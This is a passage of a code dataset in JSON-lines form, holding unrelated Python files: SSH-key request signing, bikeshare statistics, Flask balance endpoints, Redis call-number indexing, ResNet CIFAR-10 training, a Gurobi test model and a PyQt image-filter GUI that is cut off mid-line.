ssh_key_info_from_key_data(key_id, priv_key=None):\n \"\"\"Get/load SSH key info necessary for signing.\n @param key_id {str} Either a private ssh key fingerprint, e.g.\n 'b3:f0:a1:6c:18:3b:42:63:fd:6e:57:42:74:17:d4:bc', or the path to\n an ssh private key file (like ssh's IdentityFile config option).\n @param priv_key {str} Optional. SSH private key file data (PEM format).\n @return {dict} with these keys:\n - type: \"agent\"\n - signer: Crypto signer class (a PKCS#1 v1.5 signer for RSA keys)\n - fingerprint: key fingerprint\n - algorithm: 'rsa-sha256' DSA not current supported. Hash algorithm\n selection is not exposed.\n - ... some others added by `load_ssh_key()`\n \"\"\"\n if FINGERPRINT_RE.match(key_id) and priv_key:\n key_info = {\n \"fingerprint\": key_id,\n \"priv_key\": priv_key\n }\n else:\n # Otherwise, we attempt to load necessary details from ~/.ssh.\n key_info = load_ssh_key(key_id)\n\n # Load an RSA key signer.\n key = None\n try:\n key = RSA.importKey(key_info[\"priv_key\"])\n except ValueError:\n if \"priv_key_path\" in key_info:\n prompt = \"Passphrase [%s]: \" % key_info[\"priv_key_path\"]\n else:\n prompt = \"Passphrase: \"\n for i in range(3):\n passphrase = getpass(prompt)\n if not passphrase:\n break\n try:\n key = RSA.importKey(key_info[\"priv_key\"], passphrase)\n except ValueError:\n continue\n else:\n break\n if not key:\n details = \"\"\n if \"priv_key_path\" in key_info:\n details = \" (%s)\" % key_info[\"priv_key_path\"]\n raise MantaError(\"could not import key\" + details)\n key_info[\"signer\"] = PKCS1_v1_5.new(key)\n key_info[\"type\"] = \"ssh_key\"\n key_info[\"algorithm\"] = \"rsa-sha256\"\n return key_info\n\n\ndef agent_key_info_from_key_id(key_id):\n \"\"\"Find a matching key in the ssh-agent.\n @param key_id {str} Either a private ssh key fingerprint, e.g.\n 'b3:f0:a1:6c:18:3b:42:63:fd:6e:57:42:74:17:d4:bc', or the path to\n an ssh private key file (like ssh's IdentityFile config option).\n @return {dict} with these keys:\n - type: \"agent\"\n - agent_key: paramiko AgentKey\n - fingerprint: key fingerprint\n - algorithm: \"rsa-sha1\" Currently don't support DSA agent signing.\n \"\"\"\n # Need the fingerprint of the key we're using for signing. If it\n # is a path to a priv key, then we need to load it.\n if not FINGERPRINT_RE.match(key_id):\n ssh_key = load_ssh_key(key_id, True)\n fingerprint = ssh_key[\"fingerprint\"]\n else:\n fingerprint = key_id\n\n # Look for a matching fingerprint in the ssh-agent keys.\n import paramiko\n keys = paramiko.Agent().get_keys()\n for key in keys:\n if fingerprint_from_raw_ssh_pub_key(str(key)) == fingerprint:\n break\n else:\n raise MantaError(\n 'no ssh-agent key with fingerprint \"%s\"' % fingerprint)\n\n # TODO:XXX DSA support possible with paramiko?\n algorithm = 'rsa-sha1'\n\n return {\n \"type\": \"agent\",\n \"agent_key\": key,\n \"fingerprint\": fingerprint,\n \"algorithm\": algorithm\n }\n","sub_path":"manta/_auth_utils.py","file_name":"_auth_utils.py","file_ext":"py","file_size_in_byte":9235,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"62125318","text":"#Stephen_H_Bikeshare_Project/bikeshare_2.py\n\nimport platform\nimport os\nimport time\nimport pandas as pd\n\nCITY_DATA = { 'chicago': 'chicago.csv',\n 'new york city': 'new_york_city.csv',\n 'washington': 'washington.csv' }\n\ncities = ['chicago', 'new york city', 'washington']\nmonths = ['january', 'february', 'march', 'april', 'may', 'june', 'all']\ndays = ['all', 'monday', 'tuesday', 'wednesday', 'thursday', 'friday', 'saturday', 'sunday']\n\n\ndef get_filters():\n \"\"\"\n Asks user to specify a city, month, and day to analyze.\n\n Returns:\n (str) city - name of the city to analyze\n (str) month - name of the month to filter by, or \"all\" to apply no month filter\n (str) day - name of the day of week to filter by, or \"all\" to apply no day filter\n \"\"\"\n print('\\nHello! Let\\'s explore some US bikeshare data!')\n\n city = ''\n\n while True:\n city = input('\\nChoose a city between Chicago, New York City, and Washington:\\n> ').lower()\n if city not in cities:\n print('\\n\\'{}\\' is not found in our records.'.format(city))\n continue\n else:\n break\n\n month = ''\n\n while True:\n month = input('\\nWhat month would you like to filter your data by? \\nJanuary, February, March, April, May, or June?. \\nType All to filter data by all months.\\n> ').lower()\n if month not in months:\n print('\\n\\'{}\\' is not found in our records.'.format(month))\n continue\n else:\n break\n\n day = ''\n\n while True:\n day = input('\\nWhat day would you like to filter your data by? \\nMonday, Tuesday, Wednesday, Thursday, Friday, Saturday, or Sunday? \\nType All to filter by all days.\\n> ').lower()\n if day not in days:\n print('\\n\\'{}\\' is not found in our records.'.format(day))\n continue\n else:\n break\n\n\n return city, month, day\n\n\ndef load_data(city, month, day):\n \"\"\"\n Loads data for the specified city and filters by month and day if applicable.\n\n Args:\n (str) city - name of the city to analyze\n (str) month - name of the month to filter by, or \"all\" to apply no month filter\n (str) day - name of the day of week to filter by, or \"all\" to apply no day filter\n Returns:\n df - Pandas DataFrame containing city data filtered by month and day\n \"\"\"\n\n # load data file into a dataframe\n df = pd.read_csv(CITY_DATA[city])\n\n # convert the Start Time column to datetime\n df['Start Time'] = pd.to_datetime(df['Start Time'])\n\n # extract month and day of week from Start Time to create new columns\n df['month'] = df['Start Time'].dt.month\n df['day_of_week'] = df['Start Time'].dt.weekday_name\n\n if month != 'all':\n # use the index of the months list to get the corresponding int\n months = ['january', 'february', 'march', 'april', 'may', 'june']\n month = months.index(month) + 1\n\n # filter by month to create the new dataframe\n df = df[df['month'] == month]\n\n if day != 'all':\n # filter by day of week to create the new dataframe\n df = df[df['day_of_week'] == day.title()]\n\n\n print('-'*40)\n return df\n\n\ndef time_stats(df):\n \"\"\"Displays statistics on the most frequent times of travel.\"\"\"\n\n print('\\nCalculating The Most Frequent Times of Travel...\\n')\n start_time = time.time()\n\n # extract month from the Start Time column to create a month column\n df['month'] = df['Start Time'].dt.month\n\n popular_month = df['month'].mode()[0]\n print('Most Popular Month: {}'.format(popular_month))\n\n # extract day from the Start Time column to create a day column\n df['day'] = df['Start Time'].dt.day\n\n popular_day = df['day'].mode()[0]\n print('Most Popular Day: {}'.format(popular_day))\n\n # extract hour from the Start Time column to create an hour column\n df['hour'] = df['Start Time'].dt.hour\n\n popular_hour = df['hour'].mode()[0]\n print('Most Popular Start Hour: {}'.format(popular_hour))\n\n\n print(\"\\nThis took %s seconds.\" % (time.time() - start_time))\n print('-'*40)\n\n\ndef station_stats(df):\n \"\"\"Displays statistics on the most popular stations and trip.\"\"\"\n\n print('\\nCalculating The Most Popular Stations and Trip...\\n')\n start_time = time.time()\n\n popular_start_station = df['Start Station'].mode()[0]\n print('Most Popular Start Station: {}'.format(popular_start_station))\n print('Start Station Counts: {}\\n'.format(df['Start Station'].value_counts()[popular_start_station]))\n\n popular_end_station = df['End Station'].mode()[0]\n print('Most Popular End Station: {}'.format(popular_end_station))\n print('End Station Counts: {}\\n'.format(df['End Station'].value_counts()[popular_end_station]))\n\n # combine Start Station and End Station to find total trips\n total_trip = df['Start Station'] + ' - ' + df['End Station']\n\n most_frequent_trip = total_trip.mode()[0]\n print('Most Frequent Trip: {}'.format(most_frequent_trip))\n print('Frequent Trip Counts: {}'.format(total_trip.value_counts()[most_frequent_trip]))\n\n\n print(\"\\nThis took %s seconds.\" % (time.time() - start_time))\n print('-'*40)\n\n\ndef trip_duration_stats(df):\n \"\"\"Displays statistics on the total and average trip duration.\"\"\"\n\n print('\\nCalculating Trip Duration...\\n')\n start_time = time.time()\n\n total_travel_time = df['Trip Duration'].sum()\n print('Total Travel Time: {}'.format(total_travel_time))\n\n avg_travel_time = df['Trip Duration'].mean()\n print('Average Travel Time: {}'.format(avg_travel_time))\n\n\n print(\"\\nThis took %s seconds.\" % (time.time() - start_time))\n print('-'*40)\n\n\ndef user_stats(df):\n \"\"\"Displays user statistics such as user type, gender, and birth year on bikeshare users.\"\"\"\n\n print('\\nCalculating User Stats...\\n')\n start_time = time.time()\n\n user_types = df['User Type'].value_counts()\n print('User Types: \\n{}\\n'.format(user_types))\n\n # this try/exception code block handles KeyErrors for Washington filter\n # washington csv does not have Gender or Birth Year columns\n try:\n gender_types = df['Gender'].value_counts()\n\n earliest_birth_year = df['Birth Year'].min()\n recent_birth_year = df['Birth Year'].max()\n popular_birth_year = df['Birth Year'].mode()[0]\n except KeyError:\n print('Gender column not available. \\nCannot display statistics.\\n')\n\n print('Birth Year column not available. \\nCannot display statistics.')\n else:\n print('Gender Types: \\n{}\\n'.format(gender_types))\n\n print('Earliest Birth Year: {}'.format(int(earliest_birth_year)))\n print('Recent Birth Year: {}'.format(int(recent_birth_year)))\n print('Most Popular Birth Year: {}'.format(int(popular_birth_year)))\n\n\n print(\"\\nThis took %s seconds.\" % (time.time() - start_time))\n print('-'*40)\n\n\ndef raw_data(df):\n \"\"\" Accesses csv doc and displays 5 rows of its raw data at a time \"\"\"\n\n raw_data_prompt = input('\\nWould you like to see 5 rows of raw data? (Yes or No)\\n> ').lower()\n\n if raw_data_prompt == 'yes':\n print('\\nAccessing Raw Data...\\n')\n start_time = time.time()\n\n # i = index location\n i = 0\n while True:\n # select 5 rows inside csv and print rows of raw data\n print(df.iloc[i:i + 5])\n i += 5\n\n print(\"\\nThis took %s seconds.\" % (time.time() - start_time))\n print('-'*40)\n\n more_raw_data = input('\\nWould you like to see 5 more rows of raw data? (Yes or No)\\n> ').lower()\n if more_raw_data != 'yes':\n break\n\n\ndef main():\n while True:\n city, month, day = get_filters()\n df = load_data(city, month, day)\n\n time_stats(df)\n station_stats(df)\n trip_duration_stats(df)\n user_stats(df)\n raw_data(df)\n\n\n restart_app = input('\\nWould you like to restart? (Yes or No)\\n> ')\n if restart_app.lower() == 'yes':\n os_type = platform.system()\n # Darwin is the system name for macOS\n if os_type in ('Darwin', 'Linux'):\n os.system('clear')\n elif os_type == 'Windows':\n os.system('cls')\n else:\n continue\n elif restart_app.lower() != 'yes':\n break\n\n\nif __name__ == \"__main__\":\n\tmain()\n","sub_path":"bikeshare.py","file_name":"bikeshare.py","file_ext":"py","file_size_in_byte":8399,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"251399842","text":"from app import db\nfrom . import user\n\nfrom flask import Response, request\n\nfrom models import User, LivePlayer, LiveServer, Server\n\nfrom security.validate import validate_api_key\n\nimport json, datetime\n\nfrom user.utilities import user_to_json\n\n@user.route('/user/activate', methods=['PUT'])\n@validate_api_key\ndef activate_user():\n user = db.session.query(User).filter(User.steamid == request.get_json()['steamid']).first()\n\n user.activated = True\n db.session.commit() \n\n return Response(status=201)\n\n@user.route('/user/get', methods=['GET'])\n@validate_api_key\ndef get_user():\n user = db.session.query(User).filter(User.steamid == request.headers['steamid']).first()\n\n if(user == None):\n return Response(status=404)\n \n return Response(response=json.dumps(user_to_json(user)), status=200)\n\n@user.route('/user/balance/add', methods=['POST'])\n@validate_api_key\ndef add_balance():\n json_data = request.get_json()\n\n user = db.session.query(User).filter(User.steamid == json_data['steamid']).first()\n user.balance += json_data['add_balance']\n\n db.session.commit()\n\n return Response(status=200)\n\n@user.route('/user/balance/deduct', methods=['POST'])\n@validate_api_key\ndef remove_balance():\n json_data = request.get_json()\n\n user = db.session.query(User).filter(User.steamid == json_data['steamid']).first()\n deduct_balance = json_data['deduct_balance']\n\n if(user.balance < deduct_balance):\n return Response(status=409)\n \n user.balance -= deduct_balance\n db.session.commit()\n\n return Response(status=200)\n\n@user.route('/user/current_server', methods=['GET'])\n@validate_api_key\ndef find_user_current_server():\n steamid = request.headers['steamid']\n\n live_player = db.session.query(LivePlayer).filter(LivePlayer.steamid == steamid).first()\n\n if live_player == None:\n return Response(status=404)\n\n if (datetime.datetime.utcnow() - live_player.updated).seconds > 300:\n return Response(status=404)\n\n live_server = db.session.query(LiveServer).filter(LiveServer.id == live_player.server_id).first()\n\n server = db.session.query(Server).filter(Server.id == live_server.server_id).filter(Server.archived == False).first()\n\n if server == None:\n return Response(status=404)\n\n server_data = {\n 'id': server.id\n }\n\n return Response(response=json.dumps(server_data), status=200)\n\n","sub_path":"user/handler.py","file_name":"handler.py","file_ext":"py","file_size_in_byte":2393,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"202617111","text":"class Solution:\n # @param heights: a list of integers\n # @return: an integer\n def maxArea(self, heights):\n # write your code here\n \n # use two pointer, update the lower one and calculate the largest \n if len(heights) <= 1:\n return 0\n \n start = 0\n end = len(heights) - 1\n maxVolume = 0\n while start < end:\n maxVolume = max(maxVolume, min(heights[start], heights[end]) * (end - start))\n if heights[start] < heights[end]:\n start += 1\n else:\n end -= 1\n \n return maxVolume\n\n","sub_path":"Container_With_Most_Water.py","file_name":"Container_With_Most_Water.py","file_ext":"py","file_size_in_byte":629,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"67257052","text":"\"\"\"\n :mod:`commands` Call Number Helper Utilities\n\"\"\"\nimport pymarc,redis,re\nimport logging,sys\ntry:\n import settings \n REDIS_HOST = settings.REDIS_HOST\n REDIS_PORT = settings.REDIS_PORT\n CALL_NUMBER_DB = settings.CALL_NUMBER_DB\nexcept ImportError:\n # Setup for local development\n REDIS_HOST = '172.25.1.108'\n# REDIS_HOST = '0.0.0.0'\n REDIS_PORT = 6379\n CALL_NUMBER_DB = 4\n \n\nredis_server = redis.StrictRedis(host=REDIS_HOST,\n port=REDIS_PORT,\n db=CALL_NUMBER_DB)\n\nenglish_alphabet = ['A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', \n 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', \n 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', \n 'Y', 'Z']\n\nlccn_first_cutter_re = re.compile(r\"^(\\D+)(\\d+)\")\n\ndef generate_search_set(call_number):\n sections = call_number.split(\".\")\n first_cutter = sections[0].strip()\n for i in range(0,len(first_cutter)):\n redis_server.zadd('call-number-sorted-search-set',0,first_cutter[0:i])\n redis_server.zadd('call-number-sorted-search-set',0,first_cutter)\n redis_server.zadd('call-number-sorted-search-set',0,'%s*' % call_number) \n\ndef get_callnumber(record):\n for field_tag in ['086','090','099','050']:\n if record[field_tag] is not None:\n return record[field_tag].value()\n\ndef get_previous(call_number):\n current_rank = redis_server.zrank('call-number-sort-set',call_number)\n entities = []\n return get_slice(current_rank-2,current_rank-1)\n\ndef get_next(call_number):\n current_rank = redis_server.zrank('call-number-sort-set',call_number)\n logging.error(\"Current rank is %s\" % current_rank)\n return get_slice(current_rank+1,current_rank+2)\n\n\ndef get_redis_info():\n redis_info = {'dbsize':redis_server.dbsize(),\n 'info':redis_server.info(),\n 'call_number_size':len(redis_server.hkeys('call-number-hash'))}\n return redis_info\n\ndef get_slice(start,stop):\n \"\"\"\n Function gets a list of entities saved as Redis records\n\n :param start: Beginning of \n :param stop: End of slice of sorted call numbers\n :rtype: List of entities saved as Redis records\n \"\"\"\n entities = []\n record_slice = redis_server.zrange('call-number-sort-set',start,stop)\n for number in record_slice:\n entities.append(get_record(number))\n return entities\n\ndef get_record(call_number):\n record_key = redis_server.hget('call-number-hash',call_number)\n return redis_server.hgetall(record_key)\n\n\ndef ingest_record(marc_record):\n bib_number = marc_record['907']['a'][1:-1]\n call_number = get_callnumber(marc_record)\n if call_number is None:\n return None\n redis_id = redis_server.incr(\"global:record\")\n redis_key = \"record:%s\" % redis_id\n redis_server.hset(redis_key,\"title\",marc_record.title())\n redis_server.hset(redis_key,\"author\",marc_record.author())\n redis_server.hset(redis_key,\"bib_number\",bib_number)\n redis_server.hset(redis_key,\"call_number\",call_number)\n isbn = marc_record.isbn()\n if isbn is not None:\n redis_server.hset(redis_key,\"isbn\",isbn)\n # Create search set\n generate_search_set(call_number)\n redis_server.hset('bib-number-hash',bib_number,redis_key)\n redis_server.hset('call-number-hash',call_number,redis_key)\n redis_server.zadd('call-number-sort-set',0,call_number) \n\n\ndef ingest_records(marc_file_location):\n marc_reader = pymarc.MARCReader(open(marc_file_location,\"rb\"))\n for record in marc_reader:\n ingest_record(record)\n \n\ndef search(query):\n set_rank = redis_server.zrank('call-number-sorted-search-set',query)\n output = {'result':[]}\n for row in redis_server.zrange('call-number-sorted-search-set',set_rank,-1):\n if row[-1] == \"*\":\n call_number = row[:-1]\n record = get_record(call_number)\n output['result'].append(call_number)\n output['record'] = record\n output['discovery_url'] = '%s%s' % (settings.DISCOVERY_RECORD_URL,\n record['bib_number'])\n return output\n else:\n output['result'].append(row)\n return output\n","sub_path":"aristotle/apps/call_number/commands.py","file_name":"commands.py","file_ext":"py","file_size_in_byte":4227,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"637038092","text":"#!/usr/bin/python3.6\n\n## import packages\nimport os\nos.environ[\"TF_CPP_MIN_LOG_LEVEL\"] = \"1\"\n\nimport tensorflow as tf\ntfconfig = tf.compat.v1.ConfigProto(allow_soft_placement=True)\ntfconfig.gpu_options.allow_growth = True\nsession = tf.compat.v1.Session(config=tfconfig)\n\nimport sys\nsys.path.append(\"./nn/conv\")\nfrom resnet import ResNet\nsys.path.append(\"./callbacks\")\nfrom trainingmonitor import TrainingMonitor\nfrom epochcheckpoint import EpochCheckpoint\nsys.path.append(\"./utils\")\nfrom label_smoothing import label_smooth # test label_smooth function\n\nfrom sklearn.preprocessing import LabelBinarizer\nfrom sklearn.metrics import classification_report\n\nfrom keras import backend as K\nfrom keras.datasets import cifar10\nfrom keras.preprocessing.image import ImageDataGenerator\nfrom keras.callbacks import LearningRateScheduler\nfrom keras.optimizers import SGD\nfrom keras.models import load_model\nfrom tensorflow.keras.losses import CategoricalCrossentropy\n\nimport numpy as np\nimport matplotlib\nmatplotlib.use(\"Agg\")\nimport matplotlib.pyplot as plt\nimport argparse\nimport imutils\n\n\n\"\"\"\n# USAGE\n- End-to-End training process, using ResNet to train cifar10;\n- Use Keras LearningRateScheduler & apply polynomial decay of learning rate\n\"\"\"\n## Build arguments parser\nparser = argparse.ArgumentParser()\nparser.add_argument(\"-c\", \"--checkpoints\", required=True, \\\n help=\"path to the model weights & learning curves\")\nparser.add_argument(\"-m\", \"--model\", type=str, \\\n help=\"path to a specific loaded model\")\nparser.add_argument(\"-s\", \"--start_epoch\", type=int, default=0, \\\n help=\"epoch to start training from\")\nargs = vars(parser.parse_args())\n\nassert os.path.exists(args[\"checkpoints\"])\n\n\n## Params\nEPOCHS = 30\nINIT_LR = 5e-3\nBATCH = 128\nSMOOTHING = 0.1\n\ndef poly_decay(epoch):\n \"\"\"\n polynomial learning rate decay: alpha = alpha0 * (1 - epoch/num_epochs) ** p\n - alpha0 = initial learning rate\n - p = exp index, can be 1, 2, 3 ... etc\n - epoch = current epoch number of training process\n \"\"\"\n maxEpochs = EPOCHS\n baseLR = INIT_LR\n power = 1.0\n\n # compute\n lr = baseLR * (1 - (epoch / float(maxEpochs))) ** power\n return lr\n\n\n## Fetch dataset & preprocessing\nprint(\"[INFO] Fetch CIFAR-10 ....\")\n(trainX, trainY), (testX, testY) = cifar10.load_data()\n\ntrainX = trainX.astype(\"float\") / 255.0\ntestX = testX.astype(\"float\") / 255.0\n\n# apply mean substraction\nmean = np.mean(trainX, axis=0)\ntrainX -= mean\ntestX -= mean\n\n# convert labels from ints to vectors\nlb = LabelBinarizer()\ntrainY = lb.fit_transform(trainY)\ntestY = lb.transform(testY)\n\n# Label Smoothing Way 1 = add label smoothing to one-hot encoded labels!\ntrainY = trainY.astype(\"float\")\ntestY = testY.astype(\"float\")\nprint(\"[INFO] apply smoothing factor = \", SMOOTHING)\nprint(\"[INFO] before smoothing:\", trainY[0])\ntrainY = label_smooth(trainY, factor=SMOOTHING) \nprint(\"[INFO] after smoothing:\", trainY[0])\n\n\n# label names\nlabelNames = [\"airplane\",\"automobile\",\"bird\",\"cat\",\"deer\",\"dog\",\"frog\",\\\n \"horse\",\"ship\",\"truck\"]\n\n\n## prepare model\n# initalize data generator & apply data augmentation\naug = ImageDataGenerator(width_shift_range=0.1,\n height_shift_range=0.1,\n horizontal_flip=True,\n fill_mode=\"nearest\",\n )\n\n# build model\nif args[\"model\"] is None:\n print(\"[INFO] compiling model...\")\n # exp1\n #model = ResNet.build(32, 32, 3, 10, (9, 9, 9), (16, 16, 32, 64), reg=1e-4)\n # exp2\n #model = ResNet.build(32, 32, 3, 10, (9, 9, 9), (16, 64, 128, 256), reg=1e-4)\n # exp3 & 4\n model = ResNet.build(32, 32, 3, 10, (9, 9, 9), (64, 64, 128, 256), reg=5e-4)\n\n #opt = Adam(lr=INIT_LR)\n opt = SGD(lr=INIT_LR, momentum=0.9)\n model.compile(loss=\"categorical_crossentropy\", optimizer=opt, metrics=[\"accuracy\"])\n \n ## Label Smoothing Way 2 = apply to CategoricalCrossEntropy directly\n #smoothloss = CategoricalCrossentropy(label_smoothing=SMOOTHING)\n #model.compile(loss=smoothloss, optimizer=opt, metrics=[\"accuracy\"])\n \nelse:\n print(\"[INFO] loading %s ...\" % args[\"model\"])\n model = load_model(args[\"model\"])\n\n # update learning rate to a smaller one\n print(\"[INFO] old learning rate =\", K.get_value(model.optimizer.lr))\n #K.set_value(model.optimizer.lr, INIT_LR)\n print(\"[INFO] new learning rate =\", K.get_value(model.optimizer.lr))\n \n# set up callbacks\nFIG_PATH = os.path.sep.join([args[\"checkpoints\"], \"resnet56_cifar10.png\"])\nJSON_PATH = os.path.sep.join([args[\"checkpoints\"], \"resnet56_cifar10.json\"])\n\ncallbacks = [\n EpochCheckpoint(args[\"checkpoints\"], every=5, \\\n startAt=args[\"start_epoch\"]), \n TrainingMonitor(FIG_PATH, jsonPath=JSON_PATH, \\\n startAt=args[\"start_epoch\"]),\n LearningRateScheduler(poly_decay), # Exp4\n ]\n\n# train & evaluate\nprint(\"[INFO] training model...\")\nH = model.fit_generator(\n aug.flow(trainX, trainY, batch_size=BATCH), \n validation_data=(testX, testY), \n steps_per_epoch=len(trainX) // BATCH, \n epochs=EPOCHS, \n callbacks=callbacks,\n verbose=1,\n )\n\nprint(\"[INFO] evaluating model...\")\npredictions = model.predict(testX, batch_size=BATCH)\nprint(classification_report(predictions.argmax(axis=1), testY.argmax(axis=1), \\\n target_names=labelNames))\n\nprint(\"[INFO] Done!\")\n\n\n","sub_path":"template_scripts/resnet_cifar10.py","file_name":"resnet_cifar10.py","file_ext":"py","file_size_in_byte":5322,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"45069489","text":"from model.mo.MosaicCloudMIPmodel import MosaicCloudMIPmodel\nimport gurobipy as gp\n\nclass MIPModelEConstraintSmallTest(MosaicCloudMIPmodel):\n\n def add_basic_constraints(self):\n W = [[52,52,28,23,95,69,13,61,32,68],\n [88,98,49,28,43,98,53,52,84,66],\n [57,30,86,50,97,96,59,94,67,14]]\n q = [246,329,325]\n for i in range(3):\n w_row = W[i]\n self.model.addConstr((gp.quicksum(self.select_image[j] * w_row[j] for j in self.images_id)) <= q[i])\n\n def get_main_objective(self):\n obj_coef = [56,90,34,13,71,33,66,74,88,71]\n return gp.quicksum(self.select_image[i] * obj_coef[i] for i in self.images_id)\n def add_objectives(self):\n self.images_id = gp.tuplelist([i for i in range(10)])\n P = [[54,64,46,37,31,62,52,33,87,35],\n [52,65,58,63,46,66,72,95,42,29]]\n for i in range(2):\n p_row = P[i]\n self.objectives.append(gp.quicksum(self.select_image[j] * p_row[j] for j in self.images_id))\n","sub_path":"model/mo/MIPModelEConstraintSmallTest.py","file_name":"MIPModelEConstraintSmallTest.py","file_ext":"py","file_size_in_byte":1022,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"101928361","text":"for tc in range(int(input())):\n n=int(input())\n tmp=list(map(int,input().split()))\n\n heap=[0]\n value=0\n def func(node):\n par=node//2\n if par==0:\n return\n if heap[par]>heap[node]:\n heap[par],heap[node]=heap[node],heap[par]\n func(par)\n cnt=1\n for i in tmp:\n heap.append(i)\n func(cnt)\n cnt+=1\n while n:\n n//=2\n value+=heap[n]\n\n print(f'#{tc+1} {value}')","sub_path":"5177.py","file_name":"5177.py","file_ext":"py","file_size_in_byte":466,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"374448326","text":"import sys\nimport subprocess\nfrom PyQt5 import QtCore, QtGui, QtWidgets\nfrom PyQt5.QtWidgets import QMainWindow, QLabel, QApplication, QGridLayout, QMessageBox, QSlider, QWidget\nfrom PyQt5.QtCore import QSize, Qt\n\nclass MyWindow(QMainWindow):\n def __init__(self):\n super(MyWindow, self).__init__()\n self.setup_main_window()\n self.initUI() \n\n def setup_main_window(self):\n self.valor = False\n self.x = 640\n self.y = 480\n self.setMinimumSize(QSize(self.x, self.y))\n self.setWindowTitle(\"Dialog - untiled\")\n #self.setWindowIcon(QtGui.QIcon(\"imagens/logo.png\"))\n self.wid = QWidget(self)\n self.setCentralWidget(self.wid)\n self.layout = QGridLayout()\n self.wid.setLayout(self.layout)\n\n def initUI(self):\n\n # Criando barra de menu\n self.barraDeMenu = self.menuBar()\n \n # Criando os menus\n self.menuArquivo = self.barraDeMenu.addMenu(\"Arquivo\")\n self.menuTransformacao = self.barraDeMenu.addMenu(\"T\")\n self.menuSobre = self.barraDeMenu.addMenu(\"Sobre\")\n\n # Criando as actions menuArquivo\n self.opcaoabrir = self.menuArquivo.addAction(\"Abrir\")\n self.opcaoFechar = self.menuArquivo.addAction(\"Fechar\")\n self.opcaoabrir.triggered.connect(self.open_file)\n self.opcaoabrir.setShortcut(\"Ctrl+A\")\n self.opcaoFechar.triggered.connect(self.close)\n self.opcaoFechar.setShortcut(\"Alt+F4\")\n\n # Criando as actions menuTransformações\n self.efeito_find = self.menuTransformacao.addAction(\"FIND EDGES\")\n self.efeito_find.triggered.connect(self.transform_me_findEdges) \n self.efeito_contour = self.menuTransformacao.addAction(\"CONTOUR\")\n self.efeito_contour.triggered.connect(self.transform_me_countour) \n self.efeito_emboss = self.menuTransformacao.addAction(\"EMBOSS\")\n self.efeito_emboss.triggered.connect(self.transform_me_emboss)\n self.informacao_imagem = self.menuTransformacao.addAction(\"Adicionar esteganografia\")\n self.informacao_imagem.triggered.connect(self.add_esteganografia)\n\n # Criando as actions do sobre\n self.sobre = self.menuSobre.addAction(\"Sobre\")\n self.sobre = self.sobre.triggered.connect(self.exibir_mensagem)\n\n # Criação de QLabel \n self.texto = QLabel(\"Processamento Digital de Imagens\", self)\n self.texto.adjustSize()\n self.largura = self.texto.frameGeometry().width()\n self.altura = self.texto.frameGeometry().height()\n self.texto.setAlignment(QtCore.Qt.AlignCenter) \n\n self.texto2 = QLabel(\"Insira a quantidade de trânsparência da imagem\", self)\n self.texto2.adjustSize()\n self.largura = self.texto2.frameGeometry().width()\n self.altura = self.texto2.frameGeometry().height()\n self.texto2.setAlignment(QtCore.Qt.AlignCenter) \n\n # Criando as imagens (QLabel)\n self.imagem1 = QLabel(self)\n self.endereco1 = 'imagens/balao.jpg'\n self.pixmap1 = QtGui.QPixmap(self.endereco1)\n self.pixmap1 = self.pixmap1.scaled(250, 250, QtCore.Qt.KeepAspectRatio)\n self.imagem1.setPixmap(self.pixmap1)\n self.imagem1.setAlignment(QtCore.Qt.AlignCenter) \n\n self.imagem2 = QLabel(self)\n self.endereco2 = 'imagens/balao.jpg'\n self.pixmap2 = QtGui.QPixmap(self.endereco2)\n self.pixmap2 = self.pixmap2.scaled(250, 250, QtCore.Qt.KeepAspectRatio)\n self.imagem2.setPixmap(self.pixmap2)\n self.imagem2.setAlignment(QtCore.Qt.AlignCenter)\n\n # Criando botões\n self.b1 = QtWidgets.QPushButton(self)\n self.b1.setText(\"Espelhar\")\n self.b1.clicked.connect(self.espelhar)\n\n self.b2 = QtWidgets.QPushButton(self)\n self.b2.setText(\"Girar\")\n self.b2.clicked.connect(self.girar)\n\n self.mySlider = QSlider(Qt.Horizontal, self)\n self.mySlider.valueChanged[int].connect(self.changeValue)\n \n # Organizando os widgets dentro do GridLayout\n self.layout.addWidget(self.texto, 0, 0, 1, 2)\n self.layout.addWidget(self.texto2, 3, 0, 1, 2)\n self.layout.addWidget(self.mySlider, 4, 0, 1, 2)\n self.layout.addWidget(self.b1, 2, 0) \n self.layout.addWidget(self.b2, 2, 1)\n self.layout.addWidget(self.imagem1, 1, 0)\n self.layout.addWidget(self.imagem2, 1, 1)\n self.layout.setRowStretch(0,0)\n self.layout.setRowStretch(1,1)\n self.layout.setRowStretch(2,0) \n \n # Método de ação dos botões do menu\n\n def exibir_mensagem(self):\n self.msg = QMessageBox()\n self.msg.setIcon(QMessageBox.Information)\n self.msg.setWindowTitle(\"Detralhes sobre\")\n self.msg.setText(\"Desenvolvido por Leandro Henrick Silva Nunes\")\n self.msg.setInformativeText(\"Aplicativo para uso dos filtros: 'Countour', 'Emboss' e 'Find Edges'.\\nItuiutaba - MG\\nProjeto concluído em 10/05/2021\")\n self.msg.exec_() \n\n def open_file(self):\n fileName, _ = QtWidgets.QFileDialog.getOpenFileName(self, caption='Open image', \n directory=QtCore.QDir.currentPath(),\n filter='All files (*.*);;Images (*.png; *.jpg)',\n initialFilter='Images (*.png; *.jpg)')\n #print(fileName)\n self.endereco1 = fileName\n self.pixmap1 = QtGui.QPixmap(self.endereco1)\n self.pixmap1 = self.pixmap1.scaled(250, 250, QtCore.Qt.KeepAspectRatio)\n self.imagem1.setPixmap(self.pixmap1)\n\n def girar (self):\n if (self.valor == False):\n self.entrada = self.endereco1\n self.saida = 'imagens/arquivo_novo.jpg'\n self.script = '.\\girar.py'\n self.program = 'python '+ self.script + ' \\\"' + self.entrada + '\\\" ' + self.saida\n subprocess.run(self.program, 